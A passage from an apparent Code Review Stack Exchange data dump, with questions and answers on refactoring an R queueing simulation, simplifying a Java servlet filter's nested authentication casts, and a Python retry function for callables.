"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-17T07:19:47.363",
"Id": "465518",
"Score": "0",
"body": "Update the question! Or, maybe, post your own answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-18T09:05:50.027",
"Id": "465686",
"Score": "0",
"body": "Digram counts tell something about order and proximity, but they seem harder to \"search\". While sum of absolute differences of character counts sets a lower limit for distance *ld*, I'm not there with digram counts - *4ld* < accumulatedDifferences?"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-17T07:03:08.073",
"Id": "237420",
"ParentId": "212823",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "237420",
"CommentCount": "17",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T06:35:06.183",
"Id": "212823",
"Score": "7",
"Tags": [
"c#",
"performance"
],
"Title": "Levenshtein distance between each pair of elements from two large data sets"
} | 212823 |
<p>I have one machine, which produces parts. In <code>machine_failure_rate</code>% it produces faulty parts which need to be produced again. Thus, we end up with a simple queuing problem. Can the following code be futher functionalized? I have the feeling, I can get rid of <code>time_parts</code>, but all I have in mind deteriorates the code as I need further lookups in the <code>production_df</code> data frame to look for "what was produced / what needs to be produced now?". The following script is running:</p>
<pre><code>input_rate <- 1/60 # input rate [1/min, 1/input_rate corresponds to interarrival time in min]
n <- 1000 # number of parts
dt <- 1 # timestep = time to transfer faulty parts back to production. [min]
machine_production_rate <- 1/40 # production rate [1/min]
machine_failure_rate <- 0.2 # machine failure rate
# Sum all interarrival times
set.seed(123456)
t_event <- cumsum(rpois(n, 1/input_rate))
# Create initial list of tasks. Produces parts will be cut off.
time_parts <- data.frame(id = c(1:n),
t = t_event,
stringsAsFactors = FALSE)
# ========= Functions ==========================================================
create_machine <- function(failure_rate, production_rate) {
machine <- list()
machine$failure_rate <- failure_rate
machine$production_rate <- production_rate
machine$is_occupied <- FALSE
return(machine);
}
update_machine <- function(ind_production_df, machine, production_df) {
if (machine$is_occupied) {
if (production_df$po_start[ind_production_df] + 1/machine$production_rate <= t) {
machine$is_occupied <- FALSE
}
}
return(machine)
}
production_summary <- function(production_df, machine, input_rate) {
no_of_failures <- sum(production_df$no_failures)
total_production_time <- max(production_df$po_start) + 1/machine$production_rate
uptime <- (no_of_failures + n)/machine$production_rate
print(paste0("Estimated machine$failure_rate ",
round(no_of_failures/(no_of_failures + n), 2),
" [theory ", round(machine$failure_rate, 2), "]"))
print(paste0("Up-time ", uptime,
", of total time ", total_production_time, ". Auslastung ",
round(uptime/total_production_time, 2),
" [theory ", round(input_rate/machine$production_rate*1/(1 - machine$failure_rate), 2), "]"))
}
# ========= DE simulation ======================================================
machine <- create_machine(machine_failure_rate, machine_production_rate)
production_df <- data.frame(id = time_parts$id,
time = time_parts$t,
production_start = rep(0, nrow(time_parts)),
no_failures = rep(0, nrow(time_parts)),
stringsAsFactors = FALSE)
t <- 0
while (length(time_parts$t) > 0) {
ind_production_df <- which(production_df$id == time_parts$id[1])
machine <- update_machine(ind_production_df, machine, production_df)
if (!machine$is_occupied & time_parts$t[1] <= t) {
# A machine is available and a part needs to be produced
machine$is_occupied <- TRUE
production_df$po_start[ind_production_df] <- t
if (runif(1) < machine$failure_rate) {
# bad part
time_parts$t[1] <- time_parts$t[1] + dt
time_parts <- time_parts[sort(time_parts$t, index.return = TRUE)$ix, ]
production_df$no_failures[ind_production_df] <-
production_df$no_failures[ind_production_df] + 1
t <- t + min(time_parts$t[1], dt)
} else {
# good part
if (production_df$po_start[ind_production_df] + 1/machine$production_rate >= t &&
nrow(time_parts) >= 2) {
time_parts <- time_parts[2:(nrow(time_parts)), ]
} else {
time_parts <- time_parts[FALSE, ]
}
t <- t + 1/machine$production_rate
machine$is_occupied <- FALSE
}
} else {
# machine is occupied or no part needs to be produced
t <- t + min(time_parts$t[1], dt)
}
}
# ========= Results ============================================================
production_summary(production_df, machine, input_rate)
</code></pre>
<p>Backround: I think about a generalisation (more machines, more input-sources, more complex rules how/when/... parts a produces). I fear that I will end up with tons of unreadable and unmaintainable code-lines if I proceed like this.</p>
<hr>
<p><strong>Edit</strong>: I think <code>t <- t + min(time_parts$t[1], dt)</code> is a bug and the correct version is <code>t <- min(time_parts$t[1], t + dt)</code>. It only worked because the time difference <code>dt</code> was always the minimum. In the last case you could speed up using <code>t <- max(time_parts$t[1], t + dt)</code> as there is nothing to do in the time inbetween.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T09:22:23.623",
"Id": "411752",
"Score": "0",
"body": "Could you explain what \"po_start\" represents - is this the time at which production starts for a given `part`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T09:48:59.923",
"Id": "411753",
"Score": "0",
"body": "Yes, it means, when the production really starts - due to a queue, this can be delayed in contrast to the original `t_event`. I also made a tiny edit to the post..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T10:02:00.670",
"Id": "411867",
"Score": "0",
"body": "I've been working on this, but can't post my code from work. I can restructure the code and get the same result but I was wondering whether there might be an error. Within your code `t <- t + min(time_parts$t[1], dt)`. The contents of `time_parts` are the earliest-time a given part can be made and the current time must increase at each iteration, shouldn't you update current time to `max(t + dt, time_parts$t[1])`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T15:39:31.263",
"Id": "411926",
"Score": "0",
"body": "@RussHyde No, I don't think so: if I increase `t`, I should take the earliest point in time where something can change. This is save. It might be, that sometimes a `max` would speed up... I am curious about your results :-)"
}
] | [
{
"body": "<p>This was a pretty difficult challenge - principally because R doesn't have a built-in <a href=\"https://en.wikipedia.org/wiki/Priority_queue\" rel=\"nofollow noreferrer\">priority queue</a> data-structure, but also because the priority-queue-like data-frame (<code>time_parts</code>) was wrapped around the results-storing data-frame (<code>production_df</code>) and the main <code>while</code> loop contains code at a few different levels of abstraction.</p>\n\n<h1>Idiomatic <code>R</code></h1>\n\n<p>I did some simple stuff first: pulled all your functions to the start of the script, reformatted some code/comments.</p>\n\n<p>There was a couple of things I changed for idiomatic reasons:</p>\n\n<pre><code>which(production_df$id == time_parts$id[1])\n# -->\nmatch(time_parts$id[1], production_df$id)\n\n# time_parts[2:(nrow(time_parts)), ] # and\n# time_parts[FALSE, ] # when time_parts has only one row\n# can both be replaced with\ntime_parts[-1, ]\n# (which is the idiomatic way to drop the first row) so this allowed us to remove an if-else clause\n\n# You don't need to do rep(some_value, n) when you're adding a\n# constant column to a data-frame at construction:\nproduction_df <- data.frame(id = time_parts$id,\n time = time_parts$t,\n production_start = rep(0, nrow(time_parts)),\n no_failures = rep(0, nrow(time_parts)),\n stringsAsFactors = FALSE)\n# -->\nproduction_df <- data.frame(id = time_parts$id,\n time = time_parts$t,\n production_start = 0,\n no_failures = 0,\n stringsAsFactors = FALSE)\n\n# `order(...)` does the same thing as `sort(..., index.return)$ix`\nsort(time_parts$t, index.return = TRUE)$ix\n# -->\norder(time_parts$t)\n\n# `nrow(x)` is more idiomatic than `length(x$some_column)`\nwhile(length(time_parts$t) > 0){ \n# -->\nwhile(nrow(time_parts) > 0) {\n# but I subsequently replaced this newer line as well\n</code></pre>\n\n<h1>Explicit data-classes</h1>\n\n<p>I converted your <code>create_machine</code> function so that it returns an object of class \"Machine\"; this wasn't really necessary.</p>\n\n<pre><code>create_machine <- function(failure_rate, production_rate) {\n structure(\n list(\n failure_rate = failure_rate,\n production_rate = production_rate,\n is_occupied = FALSE\n ),\n class = \"Machine\"\n )\n}\n</code></pre>\n\n<p>I added a <code>create_part</code> function that similarly returns a <code>Part</code> object. There was a lot of repeats of <code>1 / machine$production_rate</code> in your code; I replaced these with a call to part$production_duration. Also I thought your test to see whether a produced part was a failure should be associated with the produced part object (<code>part$is_failure</code>); with this, the while-loop logic becomes more explicit:</p>\n\n<pre><code>create_part <- function(machine) {\n structure(\n list(\n is_failure = runif(1) < machine$failure_rate,\n production_duration = 1 / machine$production_rate\n ),\n class = \"Part\"\n )\n}\n\n# then we can use this in the while-loop\npart <- create_part(machine)\n\nif (part$is_failure) {\n # bad part logic\n ...\n} else {\n # good part logic\n ...\n}\n</code></pre>\n\n<h1>Restructuring the <code>while</code> loop</h1>\n\n<p>I wanted to push that while-loop into a function - the less work you do in the global environment, the better.</p>\n\n<p>Since you want to extract data from <code>production_df</code> for your report, the function should return the <code>production_df</code>. During the while-loop, you access <code>production_df</code>, <code>time_parts</code>, <code>t</code>, <code>dt</code> (which I renamed <code>dt_recovery</code> based on your comments), <code>n</code> and <code>machine</code>.\nSo we might want to pass all of those into that function. But we can compute some of those from the others: </p>\n\n<ul>\n<li><p><code>n</code> is the nrow of <code>production_df</code>,</p></li>\n<li><p><code>t</code> isn't needed outside of the while loop and</p></li>\n<li><p>the data that initialises <code>time_parts</code> also initialises <code>production_df</code>.</p></li>\n</ul>\n\n<p>The only thing we need to initialise both <code>time_parts</code> and <code>production_df</code> is the arrival-times or times at which the parts were ordered (which I renamed <code>t_ordered</code>).</p>\n\n<p>So, we can put that while-loop into a function that takes arguments <code>t_ordered</code>, <code>dt_recovery</code>, <code>machine</code>.</p>\n\n<pre><code>run_event_simulation <- function(t_ordered, machine, dt_recovery) {\n n_parts <- length(t_ordered)\n\n # results data-frame\n production_df <- data.frame(\n id = seq(n_parts),\n t_ordered = t_ordered,\n t_started = 0,\n t_completed = 0,\n no_failures = 0,\n stringsAsFactors = FALSE\n )\n\n time_parts <- ... # define in terms of production_df\n\n # while-loop logic\n\n # return the updated production_df\n</code></pre>\n\n<p>I added the column <code>t_completed</code> into <code>production_df</code> so that you can more easily compute <code>total_production_time</code> from <code>production_df</code> in your report (this allows you to generalise the production rates)</p>\n\n<pre><code># in `production_summary`\n...\ntotal_production_time <- max(production_df$t_completed)\n...\n</code></pre>\n\n<h1>A functional priority queue</h1>\n\n<p>The really big step:</p>\n\n<p>R doesn't have a native priority-queue, and it would be pretty hard to encode using the S3 or S4 classes since you can't update by reference in those classes. There is a priority-queue defined in the package <code>liqueueR</code>, but I've no experience of that. So I just wrote a simpler version of the priority queue (as an S3 class): this allows you to</p>\n\n<ul>\n<li><code>peek</code>: extract the element in the queue with the lowest priority value (without mutating the queue)</li>\n<li><code>delete_min</code>: remove that element with the lowest priority value from the queue and return the resulting queue</li>\n<li><code>add</code>: add a new element to the queue according to it's priority, returning the resulting queue</li>\n<li>and provides a couple of helper methods (<code>is_empty</code>, <code>nrow</code>)</li>\n</ul>\n\n<p>However, this doesn't provide a <code>pop_element(queue)</code>: typically, <code>pop_element</code> removes the leading element from the queue and returns that element. That is, it returns the leading element and updates the queue through a side-effect. This side-effect is problematic in R, so I didn't include a <code>pop_element</code> function. To achieve <code>pop_element</code> you have to <code>peek</code> and then <code>delete_min</code>.</p>\n\n<pre><code>\n# Priority Queue class\n\ncreate_priority_queue <- function(x, priority_column) {\n structure(\n list(\n # note that we only `order` once - see `add` for how this is possible\n queue = x[order(x[[priority_column]]), ]\n ),\n class = \"PriorityQueue\",\n priority_column = priority_column\n )\n}\n\n# generic methods for Priority Queue\nis_empty <- function(x, ...) UseMethod(\"is_empty\")\npeek <- function(x, ...) UseMethod(\"peek\")\ndelete_min <- function(x, ...) UseMethod(\"delete_min\")\nadd <- function(x, ...) UseMethod(\"add\")\nnrow <- function(x, ...) UseMethod(\"nrow\")\n\nnrow.default <- function(x, ...) {\n base::nrow(x)\n}\n\n# implemented methods for Priority Queue\nnrow.PriorityQueue <- function(x, ...) {\n nrow(x$queue)\n}\nis_empty.PriorityQueue <- function(x, ...) {\n nrow(x) == 0\n}\npeek.PriorityQueue <- function(x, ...) {\n x$queue[1, ]\n}\ndelete_min.PriorityQueue <- function(x, ...) {\n x$queue <- x$queue[-1, ]\n x\n}\nadd.PriorityQueue <- function(x, new_element, ...) {\n priority_column <- attr(x, \"priority_column\")\n # split the existing values by comparison of their priorities to\n # those of the new-element\n lhs <- which(x$queue[[priority_column]] <= new_element[[priority_column]])\n rhs <- setdiff(seq(nrow(x)), lhs)\n x$queue <- rbind(x$queue[lhs, ], new_element, x$queue[rhs, ])\n x\n}\n</code></pre>\n\n<p>Then I replaced your <code>time_parts</code> data-frame with a PriorityQueue:</p>\n\n<pre><code># inside run_event_simulation\n...\n # Create initial list of tasks. Once produced, a part will be removed from the\n # queue.\n product_queue <- create_priority_queue(\n data.frame(\n id = production_df$id,\n t = production_df$t_ordered\n ),\n \"t\"\n )\n...\n</code></pre>\n\n<p>I added a few other helpers. The final code looks like this:</p>\n\n<pre><code># ---- classes\n\n# Priority Queue class\n\ncreate_priority_queue <- function(x, priority_column) {\n structure(\n list(\n queue = x[order(x[[priority_column]]), ]\n ),\n class = \"PriorityQueue\",\n priority_column = priority_column\n )\n}\n\n# A machine for producing `Part`s\n\ncreate_machine <- function(failure_rate, production_rate) {\n structure(\n list(\n failure_rate = failure_rate,\n production_rate = production_rate,\n is_occupied = FALSE\n ),\n class = \"Machine\"\n )\n}\n\n# A manufactured part\n\ncreate_part <- function(machine) {\n structure(\n list(\n is_failure = runif(1) < machine$failure_rate,\n production_duration = 1 / machine$production_rate\n ),\n class = \"Part\"\n )\n}\n\n# methods for Priority Queue\n\nis_empty <- function(x, ...) UseMethod(\"is_empty\")\npeek <- function(x, ...) UseMethod(\"peek\")\ndelete_min <- function(x, ...) UseMethod(\"delete_min\")\nadd <- function(x, ...) UseMethod(\"add\")\nnrow <- function(x, ...) UseMethod(\"nrow\")\n\nnrow.default <- function(x, ...) {\n base::nrow(x)\n}\n\nnrow.PriorityQueue <- function(x, ...) {\n nrow(x$queue)\n}\n\nis_empty.PriorityQueue <- function(x, ...) {\n nrow(x) == 0\n}\n\npeek.PriorityQueue <- function(x, ...) {\n x$queue[1, ]\n}\n\ndelete_min.PriorityQueue <- function(x, ...) {\n x$queue <- x$queue[-1, ]\n x\n}\n\nadd.PriorityQueue <- function(x, new_element, ...) {\n priority_column <- attr(x, \"priority_column\")\n lhs <- which(x$queue[[priority_column]] <= new_element[[priority_column]])\n rhs <- setdiff(seq(nrow(x)), lhs)\n x$queue <- rbind(x$queue[lhs, ], new_element, x$queue[rhs, ])\n x\n}\n\n# ---- functions\n\nupdate_machine <- function(machine,\n ind_production_df,\n production_df,\n current_time) {\n if (machine$is_occupied) {\n if (\n production_df$t_started[ind_production_df]\n + 1 / machine$production_rate <= current_time\n ) {\n machine$is_occupied <- FALSE\n }\n }\n return(machine)\n}\n\nshould_produce_part <- function(machine,\n earliest_production_time,\n current_time) {\n !machine$is_occupied &&\n earliest_production_time <= current_time\n}\n\nincrement_failures <- function(df, i) {\n df[i, \"no_failures\"] <- 1 + df[i, \"no_failures\"]\n df\n}\n\n# ---- format results\n\nproduction_summary <- function(production_df, machine, input_rate) {\n n_parts <- nrow(production_df)\n no_of_failures <- sum(production_df$no_failures)\n total_production_time <- max(production_df$t_completed)\n uptime <- (no_of_failures + n_parts) / machine$production_rate\n print(paste0(\n \"Estimated machine$failure_rate \",\n round(no_of_failures / (no_of_failures + n_parts), 2),\n \" [theory \", round(machine$failure_rate, 2), \"]\"\n ))\n print(paste0(\n \"Up-time \", uptime,\n \", of total time \", total_production_time, \". Auslastung \",\n round(uptime / total_production_time, 2),\n \" [theory \",\n round(\n input_rate / machine$production_rate * 1 / (1 - machine$failure_rate), 2\n ),\n \"]\"\n ))\n}\n\n\n# ---- discrete-event simulation\n#\nrun_event_simulation <- function(t_ordered, machine, dt_recovery) {\n n_parts <- length(t_ordered)\n\n # results data-frame\n production_df <- data.frame(\n id = seq(n_parts),\n t_ordered = t_ordered,\n t_started = 0,\n t_completed = 0,\n no_failures = 0,\n stringsAsFactors = FALSE\n )\n\n # Create initial list of tasks. Once produced, a part will be removed from the\n # queue.\n product_queue <- create_priority_queue(\n data.frame(\n id = production_df$id,\n t = production_df$t_ordered\n ),\n \"t\"\n )\n\n t <- 0\n while (!is_empty(product_queue)) {\n queued_part <- peek(product_queue)\n\n ind_production_df <- match(\n queued_part$id, production_df$id\n )\n\n machine <- update_machine(machine, ind_production_df, production_df, t)\n\n if (\n should_produce_part(machine,\n earliest_production_time = queued_part$t,\n current_time = t)\n ) {\n # A machine is available and a part needs to be produced\n\n # - pop the scheduled part from the queue; add it back if it's production\n # fails\n product_queue <- delete_min(product_queue)\n\n machine$is_occupied <- TRUE\n production_df$t_started[ind_production_df] <- t\n part <- create_part(machine)\n\n if (part$is_failure) {\n # bad part - add it back to the schedule\n queued_part$t <- queued_part$t + dt_recovery\n product_queue <- add(product_queue, queued_part)\n\n production_df <- increment_failures(production_df, ind_production_df)\n\n t <- t + min(peek(product_queue)$t, dt_recovery)\n } else {\n # good part\n t <- t + part$production_duration\n production_df$t_completed[ind_production_df] <- t\n machine$is_occupied <- FALSE\n }\n } else {\n # machine is occupied or no part needs to be produced\n t <- t + min(peek(product_queue)$t, dt_recovery)\n }\n }\n production_df\n}\n\n# ---- script\nset.seed(123456)\n\n# Input rate [1/min, 1/input_rate corresponds to interarrival time in min]\ninput_rate <- 1 / 60\n\n# Number of parts\nn_parts <- 1000\n\n# timestep = time to transfer faulty parts back to production. [min]\ndt_recovery <- 1\n\n# Production rate [1/min]\nmachine_production_rate <- 1 / 40\n\n# Machine failure rate\nmachine_failure_rate <- 0.2\n\n# Sum all interarrival times\nt_ordered <- cumsum(rpois(n_parts, 1 / input_rate))\n\nmachine <- create_machine(machine_failure_rate, machine_production_rate)\n\n# ---- results\n\nproduction_df <- run_event_simulation(\n t_ordered, machine, dt_recovery\n)\n\nproduction_summary(production_df, machine, input_rate)\n</code></pre>\n\n<hr>\n\n<p>Why aren't S3 queues easy?</p>\n\n<p>(This is actually quite hard to explain). Well, the <code>pop</code> method on a priority-queue returns an element from the queue and moves the queue on by one step. (In R) Updating the queue might look like <code>new_queue <- old_queue[-1]</code> and obtaining the returned element might look like <code>returned_element <- old_queue[1]</code>. So a pop function might look like</p>\n\n<pre><code>pop <- function(q) {\n # extract the head\n el <- q[1]\n\n # In a reference-based language you could update the queue\n # using a side-effect like `q.drop()`\n # But in R, this creates a new queue: and if it isn't returned \n # explicitly, it is thrown away at the end of the `pop` function\n new_q <- q[-1]\n\n # return the element that's at the head of the original queue\n el\n}\n\n# calling_env\nmy_q <- create_queue(...)\nmy_head <- pop(my_q)\n</code></pre>\n\n<p>But the queue has not been altered by that <code>pop</code>. Now we could rewrite that function to do something dangerous like <code>q <<- q[-1]</code> and that would update the <code>q</code> in the calling environment. I consider this dangerous because <code>q</code> might not exist in the calling environment and that introduces side-effects, which are much harder to reason about.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-12T13:08:03.420",
"Id": "412615",
"Score": "0",
"body": "@Christoph there was a couple of things I didn't feel comfortable restructuring. I couldn't work out why `update_machine` works the way it does: it seems to look into the future before it decides what to do now. It makes more sense to me for `is_occupied` to be set to FALSE at the end of each while-loop iteration."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-12T13:10:17.357",
"Id": "412616",
"Score": "0",
"body": "@Christoph could you give some indication of whether you'd prefer to generalise the production-time (eg, replace the fixed production time with a Poisson-sampled time) or the number of machines"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-18T09:53:08.650",
"Id": "413347",
"Score": "0",
"body": "Updated. But it's pretty difficult to explain. I'm not particularly interested in stochastic simulation at present. I did have a look at your `simmer` documentation. Can you confirm that when you mclapply() over different simulation chains, different seeds are used for each chain?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-18T10:26:21.800",
"Id": "413349",
"Score": "0",
"body": "Cool, thanks a lot. Unfortunately, simmer is not my package - so I can't answer your question. :-("
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-08-07T14:35:44.993",
"Id": "438390",
"Score": "0",
"body": "To your function `pop <- function(q)`: why don't you just `return(list(el=el, new_q=new_q)`?\nThen you could work within one line `r <- pop(q); el <- r$el; q <- r$new_q; rm(r);`?\nBut I still understand your comment that calling by reference would be smart..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-08-07T14:47:29.167",
"Id": "438391",
"Score": "0",
"body": "Because peek and delete_min provide that with fewer statements than your 4 lines in one line solution, in a way that imo requires less user overhead."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T19:10:40.027",
"Id": "213209",
"ParentId": "212825",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "213209",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T07:33:00.450",
"Id": "212825",
"Score": "3",
"Tags": [
"r",
"simulation"
],
"Title": "Discrete event simulation for production defects"
} | 212825 |
<p>My concern with this code is that I am forcing execution repeatedly through the same pathway for the sake of a readability that I'm not convinced by. </p>
<p>It's a servlet filter which detects if the authenticated user is a service account (non-human) and then does some checks on them within the <code>if</code> clause.</p>
<pre><code>import org.springframework.security.core.Authentication;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
public class ServiceAccountFilter implements Filter {
@Override
public void doFilter(ServletRequest request,
ServletResponse response,
FilterChain chain)
throws IOException, ServletException {
if (request instanceof HttpServletRequest
&& ((HttpServletRequest) request).getUserPrincipal() != null
&& ((HttpServletRequest) request).getUserPrincipal()
instanceof Authentication
&& ((Authentication)
((HttpServletRequest) request).getUserPrincipal())
.getPrincipal() != null
&& ((Authentication)
((HttpServletRequest) request).getUserPrincipal())
.getPrincipal() instanceof MyUser
&& ((MyUser) ((Authentication)
((HttpServletRequest) request).getUserPrincipal())
.getPrincipal()).getUsername() != null
&& ((MyUser) ((Authentication)
((HttpServletRequest) request).getUserPrincipal())
.getPrincipal()).getUsername().length() > 6) {
MyUser myUser = (MyUser) ((Authentication)
((HttpServletRequest) request).getUserPrincipal())
.getPrincipal();
// app-specific tests
}
chain.doFilter(request, response);
}
</code></pre>
<p>Would it be better to instantiate all of these objects and create a deeply nested set of simplified <code>if</code> clauses?</p>
<p>My opinion is that it might be marginally more performant but it wouldn't be any more readable - or am I already blind to how unreadable it is?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T12:22:54.770",
"Id": "411644",
"Score": "0",
"body": "**The site standard is for the title to simply state the task accomplished by the code.** Please see [How to get the best value out of Code Review - Asking Questions](https://CodeReview.meta.StackExchange.com/a/2438/41243) for guidance on writing good question titles."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T17:13:08.787",
"Id": "411681",
"Score": "0",
"body": "The nastiness probably has to do with your class hierarchy. I suggest that you include your `Authentication` and `MyUser` classes for review."
}
] | [
{
"body": "<p>One thing that is sure is that it will be more readable to move those tests in one method : </p>\n\n<pre><code>public void doFilter(ServletRequest request,\n ServletResponse response,\n FilterChain chain)\n throws IOException, ServletException {\n if ( isAuthenticated(request) ) {\n MyUser myUser = getAuthenticatedUser(request);\n // app-specific tests\n }\n}\n</code></pre>\n\n<p>Then it depends but most of the time your code is more readable when extracting intermediate steps in variables or methods.</p>\n\n<pre><code>private boolean isAuthenticated(ServletRequest request) {\n return (request instanceof HttpServletRequest) &&\n hasValidPrincipal((HttpServletRequest) request);\n} \n\nprivate boolean hasValidPrincipal(HttpServletRequest request) {\n MyUser user = getAuthenticatedUser(request);\n return user!=null && user.getUsername().length()>6;\n}\n\nprivate MyUser getAuthenticatedUser(HttpServletRequest request) {\n Object principal = request.getUserPrincipal();\n Authentication authentication = null;\n if ( !(principal instanceof Authentication) ) {\n return null;\n }\n authentication = (Authentication) request.getUserPrincipal();\n Object user = authentication.getPrincipal();\n\n return (user instanceof MyUser)\n ?(MyUser) user\n :null;\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T10:12:47.197",
"Id": "212830",
"ParentId": "212828",
"Score": "1"
}
},
{
"body": "<p>I wanted to point out that:</p>\n\n<pre><code>(null instanceof C) == false\n</code></pre>\n\n<p>Hence a rewrite would be:</p>\n\n<pre><code>public void doFilter(ServletRequest request,\n ServletResponse response,\n FilterChain chain)\n throws IOException, ServletException {\n if (request instanceof HttpServletRequest) {\n HttpServletRequest req = (HttpServletRequest) request;\n if (req.getUserPrincipal() instanceof Authentication) {\n Authentication authentication = (Authentication) req.getUserPrincipal();\n if (authentication.getPrincipal() instanceof MyUser) {\n MyUser myUser = (MyUser) authentication.getPrincipal();\n String userName = myUser.getUsername();\n if (userName != null && userName.length() > 6) {\n // app-specific tests\n }\n }\n }\n }\n chain.doFilter(request, response);\n}\n</code></pre>\n\n<p>And this code I find digestible. If repeated at other locations maybe a lambda might be used to turn a ServletRequest to an optional operation on a MyUser.</p>\n\n<pre><code>public Optional<MyUser> retrieveMyUser(ServletRequest request)\n throws IOException, ServletException {\n if (request instanceof HttpServletRequest) {\n HttpServletRequest req = (HttpServletRequest) request;\n if (req.getUserPrincipal() instanceof Authentication) {\n Authentication authentication = (Authentication) req.getUserPrincipal();\n if (authentication.getPrincipal() instanceof MyUser) {\n MyUser myUser = (MyUser) authentication.getPrincipal();\n return Optional.of(myUser);\n }\n }\n }\n return Optional.empty();\n}\n\n\npublic void doFilter(ServletRequest request,\n ServletResponse response,\n FilterChain chain)\n throws IOException, ServletException {\n retrieveMyUser(request).ifPresent(myUser -> {\n String userName = myUser.getUsername();\n if (userName != null && userName.length() > 6) {\n // app-specific tests\n }\n });\n chain.doFilter(request, response);\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:45:11.410",
"Id": "212845",
"ParentId": "212828",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T09:26:05.943",
"Id": "212828",
"Score": "0",
"Tags": [
"java",
"casting",
"authorization",
"servlets"
],
"Title": "Servlet filter which detects if the authenticated user is a service account"
} | 212828 |
<p>This script is designed to be run via windows task scheduler once per day.</p>
<p>All callables passed to this function should only return a bool. The callables are called until either the maximum number of call attempts is reached, or until they return True. If one or more callables returns False, the program will sleep for the alloted time 'attempt_interval', before attempting to calls again to those which have not yet returned True.</p>
<p>Function:</p>
<pre><code>import time
from dateutil.parser import parse
def call_callables(callables: list,
max_attempts=12,
earliest_attempt="07:00",
attempt_interval=600):
"""
Call each callable until it either returns True or max_attempts is reached
:param callables: a list of callable functions/methods which return
either True or False.
:param earliest_attempt: For the current day, don't attempt list generation
before this time. This is a target time for the
first attempt.
:param max_attempts: The maximum number of calls to each callable
:param attempt_interval: The number of seconds to wait between calls to each
callable
"""
earliest_attempt = parse(earliest_attempt)
current_time = datetime.datetime.now()
# track number of attempts for each callable
attempt_counter = defaultdict(int)
# track return bool status for each callable
success_tracker = defaultdict(bool)
callable_objs = callables
while callable_objs:
for callable_obj in callables:
success_tracker[callable_obj] = callable_obj()
attempt_counter[callable_obj] += 1
if (success_tracker[callable_obj] or attempt_counter[callable_obj]
>= max_attempts):
callable_objs.remove(callable_obj)
continue
# Unsuccessful (False returned by one or more callables) attempt. Retry.
if callable_objs:
time.sleep(attempt_interval)
# return dicts to allow for testing
return attempt_counter, success_tracker
</code></pre>
<p>Test (using pytest-cov; this passed):</p>
<pre><code>import pytest
from unittest.mock import Mock, patch
@patch("time.sleep")
def test_call_callables(sleep):
mock_true = Mock()
mock_false = Mock()
def ret_true():
return True
def ret_false():
return False
mock_true.call_method = ret_true
mock_false.call_method = ret_false
mocks = [mock_true.call_method, mock_false.call_method]
attempt_tracker, success_tracker = call_callables(callables=mocks,
max_attempts=10,
attempt_interval=1)
assert {ret_true: 1, ret_false: 10} == dict(attempt_tracker)
assert sleep.call_count == 10
assert {ret_true: True, ret_false: False} == dict(success_tracker)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T17:01:22.967",
"Id": "411677",
"Score": "0",
"body": "What's with this `earliest_attempt` that you never make use of?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:26:56.123",
"Id": "411686",
"Score": "0",
"body": "^ Yes, I'll delete that now I've decided to use the script via a scheduled task."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T08:53:41.743",
"Id": "411748",
"Score": "0",
"body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*."
}
] | [
{
"body": "<p>You are not allowed to remove items from a list while iterating over the list. </p>\n\n<pre><code>>>> a = [“a”, ”b”, ”c”, ”d”]\n>>> for b in a:\n... print(a,b)\n... a.remove(b)\n... \n['a', 'b', 'c', 'd'] a\n['b', 'c', 'd'] c\n>>> \n</code></pre>\n\n<p>You should wait to remove the <code>callable_obj</code> from <code>callable_objs</code> until after the <code>for</code> loop completes. Build a list of <code>callable_obj</code> to remove, and bulk remove them at the end. Or use list comprehension and filter out the successful calls:</p>\n\n<pre><code>callable_objs = [ obj for obj in callable_objs if not success_tracker[obj] ]\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:50:56.630",
"Id": "212860",
"ParentId": "212834",
"Score": "2"
}
},
{
